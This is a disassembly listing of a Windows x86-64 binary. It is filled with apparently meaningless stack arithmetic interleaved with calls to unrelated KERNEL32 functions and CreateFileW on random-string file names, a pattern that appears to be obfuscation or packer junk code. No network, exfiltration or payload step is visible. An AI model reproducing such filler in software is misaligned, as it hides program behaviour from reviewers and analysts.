movzx eax, byte [rsp + 0x4f2]
movzx ecx, byte [rsp + 0x64b]
and eax, ecx
mov byte [rsp + 0x63f], al
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov dword [rsp + 0xa45c], eax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7600]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa450], eax
mov eax, dword [rsp + 0xa264]
mov rcx, qword [rsp + 0x141d0]
mov qword [rsp + 0x14270], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14270]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9930], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [0x1402826c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x75e0], eax
mov eax, dword [rsp + 0xa310]
mov ecx, dword [rsp + 0xa3c8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f7c], eax
lea rax, [rsp + 0x646]
mov qword [rsp + 0x14278], rax
movzx eax, word [rsp + 0x2134]
movzx ecx, word [rsp + 0x15c8]
sar eax, cl
mov word [0x1402826a4], ax
mov rax, qword [rsp + 0x14228]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [rsp + 0xa37c]
mov dword [rsp + 0xa460], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa404]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2b0], eax
mov rax, qword [rsp + 0x14238]
mov ecx, dword [rsp + 0xa3c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c58], eax
lea rax, [0x140281dba]
mov qword [rsp + 0x14280], rax
movzx eax, word [rsp + 0x2bb8]
movzx ecx, word [rsp + 0x2b48]
add eax, ecx
mov word [rsp + 0x2b64], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
movzx eax, byte [rsp + 0x643]
mov byte [rsp + 0x64f], al
movsx eax, word [rsp + 0x2b24]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b54], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rax, [rsp + 0x925c]
mov qword [0x14028ee38], rax
lea rax, [rsp + 0xa3a4]
mov qword [rsp + 0x14288], rax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1820], ax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14250]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x285], al
mov eax, dword [rsp + 0x7d08]
mov ecx, dword [rsp + 0xa418]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ca4], eax
mov rax, qword [0x14028ee38]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3a8], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov dword [rsp + 0xa464], eax
mov rax, qword [rsp + 0x140c8]
mov ecx, dword [rsp + 0xa3f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9bd8], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x398]
sar eax, cl
mov byte [rsp + 0x64d], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402826a4], ax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov dword [rsp + 0xa468], eax
mov eax, dword [rsp + 0xa43c]
mov ecx, dword [0x14028ee88]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa454], eax
mov eax, dword [rsp + 0xa3a0]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x14290], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14290]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x76bc], eax
mov eax, dword [rsp + 0xa420]
mov ecx, dword [rsp + 0xa39c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x14018]
mov rcx, qword [rsp + 0x14288]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
lea rax, [rsp + 0x63e]
mov qword [rsp + 0x14298], rax
movsx eax, word [0x14028ee40]
movsx ecx, word [rsp + 0x2bb4]
and eax, ecx
mov word [rsp + 0x2b2c], ax
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x142a0], rax
movzx eax, word [rsp + 0x2b30]
movzx ecx, word [rsp + 0x2b40]
add eax, ecx
mov word [0x14028eeb0], ax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa408]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f0], eax
mov eax, dword [rsp + 0x7600]
mov dword [rsp + 0xa46c], eax
movzx eax, word [rsp + 0x1cc0]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13fa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x640]
add eax, ecx
mov rcx, qword [rsp + 0x14150]
mov byte [rcx], al
mov eax, dword [rsp + 0xa3c8]
mov dword [rsp + 0xa470], eax
mov rax, qword [rsp + 0x14218]
mov ecx, dword [rsp + 0xa424]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa370], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6630], eax
mov eax, dword [rsp + 0xa3ac]
mov ecx, dword [rsp + 0x9e70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3cc], eax
movzx eax, word [0x14028eeb0]
movzx ecx, word [rsp + 0x2bb8]
add eax, ecx
mov word [0x1402826d8], ax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63c]
or eax, ecx
mov rcx, qword [rsp + 0x14148]
mov byte [rcx], al
mov eax, dword [rsp + 0xa408]
mov dword [rsp + 0xa474], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [0x1402826c8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x64e], al
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14278]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x285], al
movzx eax, word [rsp + 0x2b84]
movzx ecx, word [rsp + 0x2ba8]
and eax, ecx
mov word [rsp + 0x1c78], ax
mov rax, qword [0x14028ee80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa42c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa46c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.T5sC8NoFufBT1Isar6uZLmILGihPTghr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x142a8], rax
mov rax, qword [rsp + 0x141e8]
mov rcx, qword [rsp + 0x14140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402826dc], eax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov dword [rsp + 0xa478], eax
mov eax, dword [rsp + 0x84a4]
mov ecx, dword [rsp + 0xa45c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov eax, dword [rsp + 0xa3a4]
mov ecx, dword [rsp + 0xa418]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov byte [rsp + 0x650], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bb8], ax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov dword [rsp + 0xa47c], eax
mov rax, qword [rsp + 0x14218]
mov ecx, dword [rsp + 0x81a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x866c], eax
mov eax, dword [rsp + 0xa310]
mov ecx, dword [rsp + 0xa400]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d28], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa394]
sub ecx, eax
mov eax, ecx
mov dword [0x1402826dc], eax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
sar eax, cl
mov byte [rsp + 0x63f], al
movzx eax, word [rsp + 0x2b90]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b78], ax
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x142b0], rax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
xor eax, ecx
mov byte [rsp + 0x639], al
lea rax, [rsp + 0x81a8]
mov qword [rsp + 0x142b8], rax
mov eax, dword [rsp + 0xa418]
mov ecx, dword [rsp + 0xa338]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ca4], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x325]
and eax, ecx
mov rcx, qword [rsp + 0x14150]
mov byte [rcx], al
movzx eax, word [rsp + 0x1cc0]
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [0x14028ee30], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x76bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9774], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
mov dword [rsp + 0xa480], eax
mov eax, dword [rsp + 0xa450]
mov ecx, dword [rsp + 0x84a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa45c], eax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5e9]
add eax, ecx
mov byte [rsp + 0x650], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1740], ax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa478]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9580], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov dword [rsp + 0xa484], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa45c], eax
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa3d8], eax
mov rax, qword [rsp + 0x14260]
mov rcx, qword [0x14028ee50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402826c8], eax
mov eax, dword [rsp + 0xa2f4]
mov ecx, dword [rsp + 0x9e20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x142c0], rax
movsx eax, byte [rsp + 0x62e]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x641], al
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
mov byte [rsp + 0x651], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b50], ax
mov eax, dword [rsp + 0x79a4]
mov rcx, qword [rsp + 0x14218]
mov qword [rsp + 0x142c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x142c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x80c0], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa464]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa394], eax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
or eax, ecx
mov byte [rsp + 0x34e], al
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402826e0], ax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xa488], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6500], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0xa48c], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa46c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x925c], eax
movzx eax, word [rsp + 0x2b60]
movzx ecx, word [0x1402826a4]
add eax, ecx
mov word [rsp + 0x2b88], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.IAMfknB0pOUNETkOmp
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x142d0], rax
movzx eax, byte [rsp + 0x638]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x302], al
mov rax, qword [rsp + 0x14140]
mov ecx, dword [rsp + 0x75e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa478], eax
lea rax, [rsp + 0xa480]
mov qword [rsp + 0x142d8], rax
movsx eax, byte [rsp + 0x4c7]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140281da7], al
movsx eax, word [rsp + 0x22d4]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b2c], ax
movzx eax, byte [0x14028eec1]
movzx ecx, byte [rsp + 0x4d0]
sub eax, ecx
mov byte [rsp + 0x285], al
movzx eax, word [rsp + 0x157c]
mov word [rsp + 0x2bc4], ax
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa474], eax
mov eax, dword [rsp + 0xa370]
mov dword [rsp + 0xa490], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x140f0]
mov qword [rsp + 0x142e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x142e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7f7c], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov dword [rsp + 0xa494], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa26c], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa338], eax
movzx eax, byte [rsp + 0x63d]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x637], al
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bc0]
or eax, ecx
mov word [0x1402826a0], ax
mov eax, dword [rsp + 0x7b28]
mov ecx, dword [rsp + 0x925c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fd0], eax
mov eax, dword [rsp + 0x9d28]
mov ecx, dword [rsp + 0xa470]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e0], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov dword [rsp + 0xa498], eax
lea rdx, [rsp + 0xa49c]
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa2dc], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa424]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b28], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0x652], al
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x641], al
lea rax, [rsp + 0x1d78]
mov qword [rsp + 0x142e8], rax
lea rax, [0x1402826d4]
mov qword [0x14028ee28], rax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa460], eax
movzx eax, word [rsp + 0x2ba8]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1860], ax
movzx eax, byte [0x140281dbb]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a7], al
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa398], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov dword [rsp + 0xa4a0], eax
mov rax, qword [rsp + 0x142d8]
mov ecx, dword [rsp + 0xa374]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14288]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6630]
mov rcx, qword [rsp + 0x14178]
mov qword [rsp + 0x142f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x142f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa47c], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x653], al
movzx eax, word [rsp + 0x2bb0]
movzx ecx, word [rsp + 0x2bb8]
sar eax, cl
mov word [0x140282698], ax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fd0], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x140d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ca4], eax
mov eax, dword [rsp + 0xa410]
mov ecx, dword [rsp + 0xa434]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa338], eax
mov eax, dword [rsp + 0x872c]
mov dword [rsp + 0xa4a4], eax
mov rax, qword [rsp + 0x140c8]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
movsx eax, word [rsp + 0x2bbc]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b6c], ax
mov rax, qword [rsp + 0x14120]
movzx eax, byte [rax]
mov byte [rsp + 0x654], al
movzx eax, word [0x1402826d8]
mov rcx, qword [rsp + 0x141e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b64], ax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63a]
sub eax, ecx
mov byte [0x140281dc2], al
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0x9d94]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa160], eax
mov eax, dword [rsp + 0xa450]
mov ecx, dword [rsp + 0xa468]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f4], eax
movzx eax, byte [rsp + 0x285]
mov rcx, qword [rsp + 0x142a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x644], al
lea rcx, [rsp + 0x225d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov word [rsp + 0x2bc8], ax
mov eax, dword [rsp + 0xa238]
mov ecx, dword [rsp + 0x6630]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x75e0], eax
mov eax, dword [rsp + 0xa3f4]
mov dword [rsp + 0xa4a8], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x82f8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa3b8], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14288]
mov qword [rsp + 0x142f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x142f8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14110]
mov dword [rcx], eax
lea rdx, [rsp + 0xa26c]
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa3b0], eax
lea rax, [rsp + 0x631]
mov qword [0x14028ee20], rax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16d0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x925c]
movzx ecx, al
mov eax, dword [rsp + 0x64b4]
shr eax, cl
mov dword [rsp + 0x6c58], eax
lea rax, [rsp + 0xa458]
mov qword [rsp + 0x14300], rax
mov rax, qword [0x14028eeb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14190]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx eax, byte [rsp + 0x63e]
mov byte [rsp + 0x655], al
movzx eax, byte [rsp + 0x651]
movzx ecx, byte [rsp + 0x63c]
add eax, ecx
mov rcx, qword [rsp + 0x141a0]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0x13f28]
mov rdx, qword [rsp + 0x14308]
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa2b4], eax
movzx eax, word [rsp + 0x2b9c]
movzx ecx, word [rsp + 0x2b28]
and eax, ecx
mov rcx, qword [rsp + 0x14240]
mov word [rcx], ax
mov eax, dword [rsp + 0xa3e0]
mov dword [rsp + 0xa4ac], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov dword [0x14028ee1c], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x14288]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e20], eax
mov eax, dword [rsp + 0xa474]
mov dword [rsp + 0xa4b0], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9e70], eax
movzx eax, byte [rsp + 0x648]
movzx ecx, byte [rsp + 0x651]
add eax, ecx
mov byte [rsp + 0x64d], al
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x14310], rax
lea rdx, [rsp + 0xa26c]
mov rcx, qword [rsp + 0x142a8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa4b4], eax
mov eax, dword [rsp + 0x718c]
mov ecx, dword [rsp + 0x763c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa414], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14318], rax
lea rdx, [rsp + 0xa3b0]
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa444], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9dd8], eax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [rsp + 0xa40c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2b0], eax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x141f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402826c4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.P8aII0nhJ3YVhrHxVOpyjYL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14320], rax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b60], ax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov byte [rsp + 0x656], al
movsx eax, word [0x140282694]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2bbc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx eax, byte [rsp + 0x2e9]
mov byte [rsp + 0x657], al
mov eax, dword [rsp + 0xa45c]
mov ecx, dword [rsp + 0xa468]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x925c], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa35c], eax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a0c], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x34e], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov eax, dword [rsp + 0xa3c4]
mov ecx, dword [rsp + 0xa4a0]
sub ecx, eax
mov eax, ecx
mov dword [0x14028eec4], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa29c], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov dword [rsp + 0xa4b8], eax
mov eax, dword [rsp + 0x9bd8]
mov ecx, dword [0x14028ee1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa47c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.MaT2r0WsuTEdv10
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14328], rax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b70], ax
mov eax, dword [rsp + 0x9d94]
mov dword [rsp + 0xa4bc], eax
mov rcx, qword [rsp + 0x142a8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa3d8], eax
movzx eax, byte [rsp + 0x62f]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x63a], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14130]
mov word [rcx], ax
mov rax, qword [rsp + 0x140f0]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f14], eax
mov eax, dword [rsp + 0x9930]
mov ecx, dword [rsp + 0x6564]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a0c], eax
